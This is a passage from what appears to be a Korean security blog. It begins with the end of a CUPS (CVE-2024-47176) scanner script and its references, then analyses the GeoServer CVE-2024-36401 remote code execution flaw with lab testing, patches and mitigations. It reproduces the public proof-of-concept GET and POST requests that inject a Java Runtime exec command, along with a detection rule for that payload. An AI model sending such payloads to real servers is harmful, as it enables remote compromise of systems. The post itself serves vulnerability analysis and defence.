        # split the ranges up by comma and initiate a scan for each range
        targets = args.target_ranges.split(',')
        print(f'[{timestamp()}] starting scan')
        for target in targets:
            scan_range(target, args.callback_server, args.scan_unsafe)

        print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server')

        # loop until user uses CTRL + C to stop server
        while True:
            time.sleep(1)

    except RuntimeError as e:
        print(e)

 

4. 참고

[1] https://github.com/openprinting/cups
[2] https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
[3] https://www.akamai.com/blog/security-research/october-cups-ddos-threat
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-47176
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-47076
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-47175
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-47177
[8] https://ko.securecodewarrior.com/article/deep-dive-navigating-the-critical-cups-vulnerability-in-gnu-linux-systems
[9] https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
[10] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71558&menuNo=205020
[11] https://github.com/MalwareTech/CVE-2024-47176-Scanner
[12] https://hackread.com/old-vulnerability-9-9-impacts-all-gnu-linux-systems/
[13] https://hackread.com/old-linux-vulnerability-exploited-ddos-attacks-cups/
[14] https://www.bleepingcomputer.com/news/software/new-scanner-finds-linux-unix-servers-exposed-to-cups-rce-attacks/
[15] https://www.bleepingcomputer.com/news/security/recently-patched-cups-flaw-can-be-used-to-amplify-ddos-attacks/
[16] https://www.boannews.com/media/view.asp?idx=133188

1. GeoServer

- 지리공간 데이터를 공유하고 편집할 수 있는 자바로 개발된 오픈 소스 GIS 소프트웨어 서버

※ GIS (Geographic Information System): 지리 정보 시스템

2. 취약점

[사진 1] CVE-2024-36401 [2]

- 취약한 GeoServer에서 발생하는 원격 명령 실행 취약점 (CVSS:9.8)

> 익스플로잇에 성공한 공격자는 피해자들의 GeoServer를 환전히 장악할 수 있음

> GeoServer 장악 후 여러 멀웨어를 유포하는데 적극 활용 중

영향받는 버전
- GeoServer < 2.23.6
- 2.24.0 <= GeoServer < 2.24.4
- 2.25.0 <= GeoServer < 2.25.2

 

- GeoServer가 호출하는 GeoTools 라이브러리 API

> 피처 유형의 속성/속성 이름을 평가하여 이를 commons-jxpath 라이브러리에 안전하지 않게 전달

> 해당 라이브러리는 XPath 표현식을 평가할 때 임의의 코드를 실행할 수 있음

> 일반적으로 XPath 평가는 복잡한 피처 유형으로 제한되어야 하지만 구현상 결함으로 인해 해당 평가는 간단한 피처 유형에도 적용됨

※ commons-jxpath 라이브러리: XPath 표현식을 구문 분석하고 평가하도록 설계되었음

취약한 요청 - WFS GetFeature : 웹 피처 서비스에서 피처를 검색하는 데 사용
- WFS GetPropertyValue : 피처의 특정 속성을 검색
- WMS GetMap : 웹 맵 서비스에서 맵 이미지를 요청
- WMS GetFeatureInfo : 지정된 위치의 피처에 대한 정보를 검색
- WMS GetLegendGraphic : 지도에 대한 범례 그래픽을 요청
- WPS Execute: 웹 처리 서비스 프로세스를 실행

 

2.1 PoC Test

- docker 빌드 및 실행 [3]

docker-compose up -d

 

[사진 2] 취약한 GeoServer 구동

 

- 공개된 PoC를 통해 익스플로잇 결과 408, 500 Error 발생

> 408 Error: 서버가 사용하지 않는 연결을 끊고 싶다는 것을 의미

> 500 Error: 서버에서 문제가 발생하였으나 문제의 구체적인 내용을 표시할 수 없음을 의미

※ docker 빌드를 다시 해보았으나 동일한 결과 도출

[사진 3] 408 Error 반환
[사진 4] 500 Error 반환

- 정상적으로 익스플로잇이 진행된 경우 원격 명령이 실행 [4]

[사진 5] 익스플로잇 성공 결과

- 공개 PoC [5]

[GET 요청]
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

[POST 요청]
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

3. 대응방안

- 벤더사 제공 업데이트 적용 [6]

제품명 영향받는 버전 해결 버전
GeoServer GeoServer < 2.23.6 2.23.6
2.24.0 <= GeoServer < 2.24.4 2.24.4
2.25.0 <= GeoServer < 2.25.2 2.25.2

 

- 업데이트 적용이 불가한 경우 권고

① GeoServer가 설치된 시스템에서 아래 경로의 파일을 삭제
> webapps/geoserver/WEB-INF/lib/gt-complex-x.y.jar

※ x.y는 GeoServer의 주요 라이브러리인 GeoTools의 버전을 뜻한다. ex) GeoServer 2.25.1의 경우, gt-complex-31.1.jar

 

② WFS 요청 비활성화

> 불필요하거나 중요하지 않은 경우 WFS 요청 비활성화

 

- 탐지 정책 적용

(flow:to_server,established; content:"/geoserver/wfs"; http_uri; content:"exec|28|java|2E|lang|2E|"; nocase; http_uri;)

4. 참고

[1] https://geoserver.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-36401
[3] https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
[4] https://www.vicarius.io/vsociety/posts/geoserver-rce-cve-2024-36401
[5] https://github.com/bigb0x/CVE-2024-36401?tab=readme-ov-file
[6] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=5&categoryCode=&nttId=71483
[7] https://github.com/advisories/GHSA-6jj6-gm7p-fcvv
[8] https://www.fortinet.com/blog/threat-research/threat-actors-exploit-geoserver-vulnerability-cve-2024-36401
[9] https://www.boannews.com/media/view.asp?idx=132739&page=1&kind=1
[10] https://www.boannews.com/media/view.asp?idx=132692&page=3&kind=1

+ Recent posts